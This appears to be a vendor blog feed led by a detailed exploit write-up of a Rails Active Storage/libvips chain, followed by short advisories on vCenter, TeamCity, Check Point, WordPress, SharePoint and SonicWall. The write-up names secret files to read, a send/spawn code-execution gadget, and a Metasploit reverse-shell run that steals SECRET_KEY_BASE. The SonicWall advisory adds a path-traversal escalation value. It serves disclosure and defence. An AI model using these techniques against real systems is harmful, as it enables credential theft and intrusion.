The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.
Direct upload stores an attacker-controlled type
The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:
class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
def create
blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
render json: direct_upload_json(blob)
end
private
def blob_args
params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
end
At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.
Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:
def variant(transformations)
if variable?
variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
else
raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
end
end
# Returns true if the variant processor can transform the blob (its content
# type is in +ActiveStorage.variable_content_types+).
def variable?
ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
end
At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.
A genuine variation key can be replayed against another blob
The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:
module ActiveStorage::SetBlob # :nodoc:
extend ActiveSupport::Concern
included do
before_action :set_blob
end
private
def set_blob
@blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
def blob_scope
ActiveStorage::Blob
end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
include ActiveStorage::SetBlob
before_action :set_representation
private
def blob_scope
ActiveStorage::Blob.scope_for_strict_loading
end
def set_representation
@representation = @blob.representation(params[:variation_key]).processed # <-- [6]
rescue ActiveSupport::MessageVerifier::InvalidSignature
head :not_found
end
end
# Returns a Variation instance with the transformations that were encoded by +encode+.
def decode(key)
new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
end
At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.
The Vips pipeline leaves decoder selection to libvips
Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:
def process(file, format:)
processor.
source(file).
loader(page: 0). # <-- [8]
convert(format).
apply(operations). # <-- [9]
call
end
def processor
ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
transformations.each_with_object([]) do |(name, argument), list|
if ActiveStorage.variant_processor == :mini_magick
validate_transformation(name, argument) # <-- [10]
end
if name.to_s == "combine_options"
raise ArgumentError, <<~ERROR.squish
Active Storage's ImageProcessing transformer doesn't support :combine_options,
as it always generates a single command.
ERROR
end
if argument.present?
list << [ name, argument ] # <-- [11]
end
end
end
At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.
In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:
def self.load_image(path_or_image, loader: nil, autorot: true, **options)
if path_or_image.is_a?(::Vips::Image)
image = path_or_image
else
path = path_or_image
if loader
image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
else
options = Utils.select_valid_loader_options(path, options)
image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
end
end
image = image.autorot if autorot && !options.key?(:autorotate)
image
end
Because loader: remains nil, [12] leaves decoder selection to libvips’s file sniffers.
libvips and libmatio disagree about the MAT header
In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:
At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader’s sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.
In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:
At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.
At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.
HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:
Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable’s data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.
The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.
Why variants are not required
A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails’s forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array’s dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.
Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.
Why the patch works
The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+ begin
+ # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+ # before the lines below. Leaving it to load later, when the transformer first asks for it,
+ # would disable the loaders again after an application's initializers had re-enabled them.
+ require "image_processing/vips"
+ rescue LoadError
+ # image_processing is only needed to generate variants, not to analyze blobs.
+ end
+
+ unless Vips.respond_to?(:block_untrusted) # <-- [20]
+ raise <<~ERROR.squish
+ libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+ cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+ later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+ ERROR
+ end
+
+ Vips.block_untrusted(true) # <-- [21]
+end
Active Storage’s engine loads the Vips analyzer during initialization, so the new require “active_storage/vips” runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.
From file read to code execution
The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.
Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack’s write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:
In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:
def apply(operations)
operations.inject(self) do |builder, (name, argument)|
if argument == true || argument == nil
builder.public_send(name)
elsif argument.is_a?(Array)
builder.public_send(name, *argument) # <-- [22]
elsif argument.is_a?(Hash)
builder.public_send(name, **argument)
else
builder.public_send(name, argument)
end
end
end
At [22], a transformation named send reaches the builder’s public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.
This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.
The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.
Exploitation
Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.
The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.
In the lab run below, the representation used by the module resized the image, so the module selected a 20×20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened
msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)
The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.
Ethiack’s published 1×1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0‘s vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.
Remediation
For remediation guidance, see Rapid7’s Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.
An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.
As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.
Technical overview
libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked “unfuzzed” or “untrusted” because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.
The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.
Mitigation guidance
Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.
The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The corresponding Rails releases are:
Rails branch
Affected versions
Fixed version
Rails 7.x
7.0.0 through 7.2.3.1
7.2.3.2
Rails 8.0.x
8.0.0 through 8.0.5
8.0.5.1
Rails 8.1.x
8.1.0 through 8.1.3
8.1.3.1
Ethiack reports that Rails 6.0.0 through 6.1.7.10 may also be affected when Active Storage is configured to use Vips; Rails 6.x does not use Vips by default. Rails has not published a fixed 6.x release, so affected Rails 6.x applications should migrate to a supported fixed branch or apply the applicable workaround below.
When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.
As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release.
On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.
An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane.
A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code.
VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.
Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.
At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.
Mitigation guidance
Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.
In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation.
Mitigation guidance
Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:
TeamCity 2025.11.7
TeamCity 2026.1.3
All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains’ security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.
In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.
On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.
Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency’s (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.
The advisory addresses three vulnerabilities in total:
CVE
CVSS
Description
Affected Products
Exploitation Status
CVE-2026-16232
Vendor: 9.3 (Critical) CISA: 9.1 (Critical)
Authentication bypass via SmartConsole application token
Security Management, Multi-Domain Management
Exploited in the wild
CVE-2026-62144
Vendor: 9.3 (Critical) CISA: 9.1 (Critical)
Management authentication bypass and privilege escalation
Security Management, Multi-Domain Management
No known exploitation
CVE-2026-62145
7.5 (High)
Local privilege escalation in GaiaOS WebUI
Firewall, Multi-Domain Management, Multi-Domain Log Server
No known exploitation
Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point’s advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.
Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.
Mitigation guidance
Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.
The following versions are affected by CVE-2026-16232:
R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified
CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.
Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:
Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled
These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.
Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.
Indicators of compromise
Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:
151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137
Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.
On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030, a critical unauthenticated remote code execution vulnerability affecting WordPress Core. WordPress Core. While the official GitHub security advisory classifies the severity as Critical, the vulnerability has currently been assigned a CVSS score of 7.5. WordPress is one of the most widely deployed content management systems, making vulnerabilities in its core software potentially significant for organizations operating public-facing websites. The vulnerability reportedly allows an unauthenticated attacker to execute code via the WordPress REST API batch endpoint, potentially resulting in complete compromise of the website and its underlying data. No valid account or user interaction is required.
According to the advisory, the vulnerability affects WordPress versions 6.9.0 through 6.9.4 and versions 7.0.0 through 7.0.1. The issue is fixed in WordPress 6.9.5 and 7.0.2. A fix is also included in WordPress 7.1 Beta 2.
Cloudflare reported that the vulnerable code path can be reached when a persistent object cache is not in use. Searchlight Cyber, whose researchers identified the vulnerability, stated that it can be exploited remotely against a default WordPress installation without requiring additional plugins.
Technical exploit details have not yet been published by Searchlight Cyber, as of July 17 5:45 PM Eastern time. At the time of publication, Rapid7 is not aware of publicly confirmed in-the-wild exploitation. Organizations should not interpret the absence of public exploitation reports as an indication of low risk, particularly given the vulnerability’s unauthenticated attack path and the widespread deployment of WordPress; affected WordPress sites should be urgently patched. Due to WordPress Core being an open-source project and given the current ability of AI models to analyze open-source code, Rapid7 Labs believes it is highly likely that a public PoC will be made available in a short period of time.
Mitigation guidance
Organizations operating affected WordPress installations should prioritize upgrading immediately. Applying the WordPress-provided update is the most effective way to remediate CVE-2026-63030.
Affected and fixed versions include:
WordPress branch
Affected versions
Fixed version
Earlier than 6.9
Not affected by CVE-2026-63030
No action required for this CVE
6.9
6.9.0 through 6.9.4
6.9.5
7.0
7.0.0 through 7.0.1
7.0.2
7.1 beta
Affected beta versions were not fully specified
7.1 Beta 2
WordPress maintainers stated they are forcing updates for affected installations with automatic updates enabled. Administrators should nevertheless verify that each internet-facing WordPress website has successfully upgraded to WordPress 6.9.5, 7.0.2, or another fixed release appropriate for its branch. Workarounds are not recommended at this time.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63030 with authenticated vulnerability checks available in the July 20th, 2026 content release.
On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data (CWE-502) and allows an unauthenticated attacker to execute arbitrary code.
Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts.
Affected products:
Microsoft SharePoint Enterprise Server 2016
Microsoft SharePoint Server 2019
Microsoft SharePoint Server Subscription Edition
Mitigation guidance
Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis.
Microsoft’s recommendations:
Apply the July 14, 2026 security updates for all affected SharePoint versions.
Verify that security updates completed successfully across all SharePoint servers.
Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application.
Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation.
Initiate incident response procedures if exploitation artifacts are detected.
Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity.
AMSI / Microsoft Defender detections:
Exploit:Script/SuspSignoutReqBody.A
Request body scanning
SharePoint Server Subscription Edition
Microsoft reports observed exploitation attempts are blocked by this signature.
Exploit:Script/ToolPaneAuthBypass.A
Request header scanning
Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition.
Exploit:Script/ToolPaneAuthBypass
At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed.
Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release.
On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.
Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.
Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.
Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:
12.4.3-03245
12.4.3-03387
12.4.3-03434 (platform-hotfix)
12.5.0-02283
12.5.0-02624
12.5.0-02800 (platform-hotfix)
These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.
Technical overview
The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188.
We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.
With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after. An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:
If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:
A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.
Mitigation guidance
Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.
Fixed versions are:
Product
Fixed Version
SMA1000 Series (6210, 7210, 8200v)
12.4.3-03453 (platform-hotfix) or later
SMA1000 Series (6210, 7210, 8200v)
12.5.0-02835 (platform-hotfix) or later
There are no workarounds available.
